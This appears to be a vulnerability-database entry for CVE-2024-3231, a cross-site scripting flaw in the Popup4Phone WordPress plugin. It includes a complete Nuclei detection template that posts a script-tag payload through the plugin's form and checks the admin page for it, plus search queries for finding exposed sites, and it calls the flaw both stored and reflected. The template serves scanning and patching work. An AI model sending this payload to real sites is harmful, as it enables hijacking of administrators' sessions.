SecurityContext

CVE-2024-3231: Popup4Phone <= 1.3.2 - Unauthenticated Stored Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.00678
  • Epss percentile: 0.53295
  • Cpe: cpe:2.3:a:ivanweb:popup4phone:*:*:*:*:*:wordpress:*:*

Metadata

  • Fofa-query: body="popup4phone"
  • Max-request: 3
  • Shodan-query: http.component:"WordPress"
  • Verified: yes

Products

ProductIndexedUrl
ivanweb:popup4phoneyes/v1/products/ivanweb/popup4phone

Labels

  • Name: Popup4Phone WordPress - Reflected XSS
  • Impact: Attackers can execute scripts in admin browsers, potentially leading to session hijacking or defacement.
  • Remediation: Update to the latest version of Popup4Phone plugin.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-3231
  • Not known: requirements

```yaml

id: CVE-2024-3231

info:

name: Popup4Phone <= 1.3.2 - Unauthenticated Stored Cross-Site Scripting

author: Shivam Kamboj

severity: medium

description: |

Popup4Phone WordPress plugin through 1.3.2 contains a reflected cross-site scripting caused by unsanitized parameters, letting unauthenticated users execute scripts in admin browsers, exploit requires sending crafted requests.

impact: |

Attackers can execute scripts in admin browsers, potentially leading to session hijacking or defacement.

remediation: |

Update to the latest version of Popup4Phone plugin.

reference:

- https://wpscan.com/vulnerability/81dbb5c0-ccdd-4af1-b2f2-71cb1b37fe93/

- https://nvd.nist.gov/vuln/detail/CVE-2024-3231

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2024-3231

cwe-id: CWE-79

epss-score: 0.00678

epss-percentile: 0.53295

cpe: cpe:2.3:a:ivanweb:popup4phone:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 3

shodan-query: http.component:"WordPress"

fofa-query: body="popup4phone"

tags: cve,cve2024,wordpress,wpscan,wp-plugin,popup4phone,xss,stored

flow: http(1) && http(2) && http(3)

http:

- raw:

- |

POST / HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

popup4phone%5Bws_pages_submit_url%5D=&popup4phone%5Bws_pages_submit_title%5D=Popup4Phone&popup4phone%5Bname%5D=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&popup4phone%5Bphone%5D=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&popup4phone%5Bemail%5D=test%40test.com&popup4phone%5Bmessage%5D=test&ajax=1

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(body, "success")'

condition: and

internal: true

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In

matchers:

- type: dsl

dsl:

- status_code == 302

- contains(header, 'wordpress_logged_in')

condition: and

internal: true

- raw:

- |

GET /wp-admin/admin.php?page=popup4phone HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(content_type, "text/html")'

- 'contains(body, "<script>alert(document.domain)</script>")'

condition: and

digest: 4b0a00483046022100b9afada2ea9d6042aba2c727c0c49fd14fdd2f3d4d4beef722c2e6dc735ebbdc0221008e6c407c70463008de121abf474c9d86c140b150f0fa63d7aef95f7a1f9db3ee:922c64590222798bb761d5b6d8e72950

```